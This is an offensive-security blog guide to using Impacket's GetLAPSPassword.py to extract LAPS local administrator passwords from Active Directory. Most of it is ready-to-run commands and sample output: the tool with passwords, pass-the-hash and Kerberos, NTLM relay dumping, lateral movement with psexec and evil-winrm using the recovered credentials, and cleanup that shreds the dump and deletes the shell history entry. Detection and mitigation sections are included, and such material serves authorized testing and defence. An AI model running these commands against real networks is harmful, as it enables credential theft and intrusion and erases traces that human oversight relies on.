GetLAPSPassword.py: Recover LAPS Passwords with Impacket

Impacket's GetLAPSPassword.py guide for recovering encrypted Legacy LAPS and Windows LAPS passwords from Active Directory with passwords, NTLM hashes, or Kerberos.
- Posted on 2026-07-27
- Reading time: 7 min
GetLAPSPassword.py — Reading LAPS Passwords with Impacket #
GetLAPSPassword.py (wrapper: impacket-GetLAPSPassword — casing matters, Linux is case sensitive) is part of Packet and extracts local administrator passwords managed by LAPS directly from LDAP. It doesn't necessarily require Domain Admin: it requires an identity that can read the correct attribute on the computer object—and, for encrypted Windows LAPS passwords, also be authorized to decrypt them.
Official reference: fortra/impacket — GetLAPSPassword.py
Legacy LAPS, Windows LAPS cleartext, and Windows LAPS encrypted — they're not the same thing #
There are three storage variants, not two, and the tool treats them differently:
| Storage | Attribute | Does the tool process it? |
|---|---|---|
| Legacy Microsoft LAPS | ms-Mcs-AdmPwd | Yes — plain text |
| Windows LAPS in clear | msLAPS-Password | No — the search filter includes it, but the current code doesn't have a branch that processes it |
| Windows LAPS encrypted | msLAPS-EncryptedPassword | Yes — via DPAPI-NG decryption via MS-GKDI |
This is a concrete limitation of the current code, not a hypothesis: the LDAP query searches for objects with any of the three attributes valued, but in the loop that processes the results there is a elif for msLAPS-EncryptedPassword and one for ms-Mcs-AdmPwd — no branch manages msLAPS-Password. A computer running Windows LAPS in the clear may therefore appear in the query but never end up in the output.
Practical consequence: Empty or incomplete output does not automatically mean “no permissions”. It may also mean that that host is using msLAPS-Password and this version of the tool simply can't read it.
Who can read — and who can decipher #
For legacy LAPS and Windows LAPS in plain text , the only barrier is being able to read the LDAP attribute. In many environments, this permission is delegated to larger groups (helpdesk, sysadmin, SOC) than expected—that's where misconfiguration often occurs.
For Windows LAPS encryption , two distinct conditions are needed :
- to be able to read
msLAPS-EncryptedPassword(LDAP permission) - be authorized to decrypt the blob, according to the security principal configured for encryption (
ADPasswordEncryptionPrincipal)
Having the first permission without the second gives you an unreadable encrypted blob, not a password.
Find out who has these permissions with blood hound — the edge is called ReadLAPSPassword and covers both legacy and Windows LAPS attributes. Also AllExtendedRights on a computer object can grant this ability.
# Con nxc — verifica se il tuo utente ha accesso LAPS
nxc ldap 10.10.10.5 -u user -p pass -M laps --options
nxc ldap 10.10.10.5 -u user -p pass -M laps
# Lato difesa/enumerazione più precisa, via PowerShell (Windows LAPS)
Find-LapsADExtendedRights -Identity "OU=Workstations,DC=hackita,DC=local"
# Equivalente per legacy LAPS, con il modulo storico AdmPwd.PS
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRightsIf decryption fails but you want to understand why: the native cmdlet Get-LapsADPassword (when running from a Windows host with PowerShell modules installed) returns metadata even when it fails to decipher — fields like Source, DecryptionStatus and especially AuthorizedDecryptor. This last one tells you for which principal the blob was encrypted: a failed attempt with GetLAPSPassword.py It can then become a new privilege escalation target (compromise that principal, then try again). Impacket doesn't expose this detail—if you need it, the native PowerShell cmdlet is the only way to get it.
Syntax and real options #
impacket-GetLAPSPassword [opzioni] dominio[/utente[:password]]Note: the positional argument does not include @target like many other Impacket tools — only dominio[/utente[:password]]The LDAP destination is resolved by the domain itself or by -dc-ip/-dc-host.
| Option | Description |
|---|---|
-computer NOME | Read only the password of a specific host |
-ldaps | Enable LDAPS — specifically required when querying a Windows Server 2025 DC with LDAPS enforced, not generically for “LAPSv2” |
-outputfile FILE / -o FILE | Save output to file (both forms are aliases) |
-hashes LM:NT | Pass the Hash |
-aesKey KEY | AES key (128/256 bit) for Kerberos |
-k | Kerberos Authentication |
-no-pass | With -k, don't ask for password |
-dc-ip IP | Domain Controller IP |
-dc-host HOST | DC Hostname — useful with Kerberos for principal consistency and resolution |
-ts | Timestamps in logs |
-debug | Diagnostic output |
-ldaps It does not decrypt anything - it only protects the transport
#
This is the most common misconception about this tool. -ldaps Encrypt LDAP connection: This is required when the DC (especially Windows Server 2025 with enforcement enabled) or environment policies prevent reading sensitive attributes over an unencrypted LDAP session.
It is not the mechanism that deciphers msLAPS-EncryptedPassword. That decryption goes through a completely different channel: when the tool finds this attribute, it analyzes the DPAPI-NG blob and contacts the service MS-GKDI via DCE/RPC on ncacn_ip_tcp (RPC over TCP, then endpoint mapper on 135 and dynamic ports) to obtain the necessary cryptographic material, then derive the key and decrypt it locally. You need LDAP/LDAPS to read the blob; you need MS-GKDI to open it.
Attributo msLAPS-EncryptedPassword trovato
│
▼
Parsing del blob CMS/DPAPI-NG (KeyIdentifier, SID del principal)
│
▼
RPC over TCP verso MS-GKDI (GkdiGetKey, opnum 0) → root key
│
▼
Derivazione KEK → unwrap della CEK → decrittazione AES
│
▼
JSON in chiaro: {"n": "username", "p": "password", "t": timestamp}For a deeper dive into the MS-GKDI implementation in Python, dpapi-ng by @jborean93 is the direct reference; for DPAPI more generally, dploot by @zblurx — the same author as this tool — also covers related decryption cases.
Practical use #
Base — reads all found LAPS passwords #
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5Output:
Host LAPS Username LAPS Password LAPS Password Expiration LAPSv2
---------- ------------- --------------- ------------------------ ------
WS01$ N/A K9!mPqR@2vXn8s 2025-02-20 14:52:44 False
WS02$ laps_admin hp$R/UVbP}6t5r 2025-02-20 14:15:54 TrueLAPS Username: N/A for a line with LAPSv2: False This is normal — legacy LAPS does not maintain a separate username, the password is always for the default local Administrator account.
With LDAPS (Windows Server 2025 DC with enforcement) #
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5 -ldapsSpecific host #
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5 -computer WS01Pass the Hash #
impacket-GetLAPSPassword -hashes :NThash hackita.local/user -dc-ip 10.10.10.5Kerberos, with AES key #
export KRB5CCNAME=/path/to/ticket.ccache
impacket-GetLAPSPassword hackita.local/user \
-k -no-pass \
-dc-host dc01.hackita.local \
-dc-ip 10.10.10.5
# Con chiave AES al posto del ccache/hash
impacket-GetLAPSPassword hackita.local/user \
-aesKey AES256KeyQui \
-k \
-dc-host dc01.hackita.local \
-dc-ip 10.10.10.5This is not a “stealth” mode — it is simply Kerberos material alternative to passwords or RC4 hashes.
Save output #
impacket-GetLAPSPassword hackita.local/user:Password123 -dc-ip 10.10.10.5 -o /tmp/laps_dump.txtAlternatives — other ways to read LAPS #
NetExec #
nxc ldap 10.10.10.5 -u user -p pass -M laps
nxc ldap 10.10.10.5 -u user -p pass -M laps -o COMPUTER=WS01pyLAPS / LAPSDumper — older Python alternatives #
Before Impacket integrated GetLAPSPassword.py, tools such as LAPSDumper e pyLAPS did the same job from Linux, limited to legacy LAPS (ms-Mcs-AdmPwd). Useful if you need something extremely minimal or want to compare the output, but they don't handle Windows LAPS DPAPI-NG decryption.
ldapsearch manual — reads the blob, not decrypts it #
# Legacy LAPS
ldapsearch -x -H ldap://10.10.10.5 -D "user@hackita.local" -w pass \
-b "DC=hackita,DC=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd sAMAccountName
# Windows LAPS in chiaro (msLAPS-Password) — quello che GetLAPSPassword.py non elabora
ldapsearch -x -H ldap://10.10.10.5 -D "user@hackita.local" -w pass \
-b "DC=hackita,DC=local" "(msLAPS-Password=*)" msLAPS-Password msLAPS-PasswordExpirationTime sAMAccountName
# Windows LAPS cifrato — restituisce solo il blob, non la password
ldapsearch -x -H ldaps://10.10.10.5 -D "user@hackita.local" -w pass \
-b "DC=hackita,DC=local" "(msLAPS-EncryptedPassword=*)" msLAPS-EncryptedPassword sAMAccountNameThe third command only proves that your identity can read the encrypted blob—it doesn't convert it to a username and password. That requires the MS-GKDI pass, which only GetLAPSPassword.py (or equivalent tools such as dpapi-ng) automate.
ntlmrelayx — during an active relay #
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps --no-dump --no-da --no-aclIt doesn't work "credentialless" in an absolute sense: it uses the victim's relayed NTLM identity. The result depends on the permissions of that specific identity and the ability to relay to LDAP/LDAPS—it's not a universal method for every Windows LAPS configuration.
Using the password you obtained – what to really expect #
The password is a local credential valid for the specific computer— not a guaranteed remote access . Depending on the chosen method, it also serves:
- remote service enabled and reachable (SMB 445, WinRM, RDP…)
- correct local account (often not “Administrator”, check the column
LAPS Username) - remote logon rights for that account
- No UAC restrictions filtering the remote administrative token
laps_admin it's almost always an account local of the machine, not of the domain — should be treated as such:
# Verifica prima, in modo poco invasivo
nxc smb WS01.hackita.local -u laps_admin -p 'hp$R/UVbP}6t5r' --local-auth
# psexec con contesto locale esplicito (non il dominio!)
impacket-psexec WS01/laps_admin:'hp$R/UVbP}6t5r'@WS01.hackita.local
# evil-winrm
evil-winrm -i WS01.hackita.local -u laps_admin -p 'hp$R/UVbP}6t5r'Do not reuse the same password on other hosts. The point of LAPS is to have different passwords for each machine — even if the local account name is identical on multiple hosts, test the password WS01 across an entire subnet undermines the security model, generates unnecessary authentication failures, increases noise, and can cause lockouts. The correct workflow remains a one-to-one mapping:
WS01 → laps_admin → password A
WS02 → laps_admin → password B
SRV01 → Administrator → password CFrom that machine, a memory dump of credentials can reveal domain sessions if someone is logged in—that's the real next step for lateral movement, not reusing the LAPS password itself.
What the tool really gives back #
The query searches for objects computer, so it can include workstations, member servers, domain controllers, and even disabled systems still present in AD—not “all workstations covered by LAPS” as you might think. Windows LAPS can also manage the DSRM password of domain controllers when configured with encryption enabled.
Microsoft also imposes a hard limit of 1000 results for any LDAP search — the tool uses a paginated search to handle this, but on large domains with more than 1000 LAPS-enabled computers, more than one pass may still be necessary.
Network prerequisites #
| Screenwriting | Required ports |
|---|---|
| Legacy LAPS / Windows LAPS in the clear | LDAP 389 or LDAPS 636 |
| Windows LAPS encrypted | LDAP/LDAPS more TCP 135 (endpoint mapper) and dynamic RPC ports to MS-GKDI |
The tool never uses SMB or named pipes to recover the password — only LDAP/LDAPS and, for the encrypted case, pure RPC.
Common mistakes #
| Problem | Possible cause | Verifica |
|---|---|---|
No valid entry in LDAP | No items found with any of the three attributes | Verify that LAPS is actually distributed |
No LAPS data returned | Items found but none processable | It could be msLAPS-Password unprocessed, not necessarily lack of permission |
Password does not appear for a host with LAPSv2: True visible elsewhere | Series of different causes, not only "missing" -ldaps" | Check if the identity is authorized to decipher, not only to read the attribute |
| Error contacting MS-GKDI | Port 135/Dynamic RPC unreachable, or not authorized for decryption | Check RPC connectivity to the DC, not just LDAP |
LDAP error tied to signing | The DC requires an encrypted session for sensitive attributes | Add -ldaps |
Detection and mitigation #
Detection:
- Monitoring LDAP queries against LAPS attributes (
ms-Mcs-AdmPwd,msLAPS-Password,msLAPS-EncryptedPassword) - Auditing enabled on LAPS attributes with
Set-LapsADAuditing - RPC connections to MS-GKDI from unusual sources
- Correlation between password reading and subsequent local authentication on the same host
- On Windows Server 2025, the Event ID 3079 reports a lookup on a sensitive attribute blocked because the session was not encrypted — the most specific signal for this scenario
- Canale
Applications and Services Logs\Microsoft\Windows\LAPS\Operational: Event 10041 (authentication successful with managed account) and 10044 (post-authentication rotation) indicate that the account has actually been used, not just read
Mitigations:
- Delegate
ReadLAPSPassword/AllExtendedRightsonly to really necessary groups, checking periodically with BloodHound - Enable Windows LAPS encryption with a
ADPasswordEncryptionPrincipallimited - Use separate OUs for workstations, servers, and Tier 0
- Enable post-authentication actions (automatic rotation immediately after use)
- Maintain the appropriate Domain Functional Level for Windows LAPS encryption features
Cleanup #
GetLAPSPassword.py It's pure read—it doesn't modify anything in AD, so no directory-side cleanup is needed. However, you do need to be careful about what you leave lying around:
shred -u /tmp/laps_dump.txt
unset KRB5CCNAME
history -d "$(history 1 | awk '{print $1}')"shred It does not guarantee secure deletion on copy-on-write, journaled, SSD, or active snapshot filesystems — it is an operational hygiene level, not a forensic guarantee.
Cheat sheet #
# Base
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP
# LDAPS (DC Windows Server 2025 enforced)
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP -ldaps
# Host specifico
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP -computer WS01
# Pass-the-Hash
impacket-GetLAPSPassword -hashes :NThash hackita.local/user -dc-ip DC_IP
# Kerberos con AES
impacket-GetLAPSPassword hackita.local/user -aesKey AES256KEY -k -dc-host DC01.hackita.local -dc-ip DC_IP
# Salva output
impacket-GetLAPSPassword hackita.local/user:pass -dc-ip DC_IP -o laps.txt
# Alternativa netexec
nxc ldap DC_IP -u user -p pass -M laps
# Alternativa ntlmrelayx (durante relay attivo)
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-laps --no-dump --no-da --no-acl
# Verifica prima di usare la credenziale (poco invasivo)
nxc smb TARGET -u laps_admin -p 'LAPS_PASSWORD' --local-auth
# Esecuzione remota con contesto locale corretto
impacket-psexec TARGET/laps_admin:'LAPS_PASSWORD'@TARGETRelated Articles #
- Impacket: complete suite
- blood hound
- ldapsearch
- ntlmrelayx.py
- psexec.py
- Credential Dumping on Windows
- Pass the Hash
- Active Directory: exploitation guide
For use in authorized environments only.








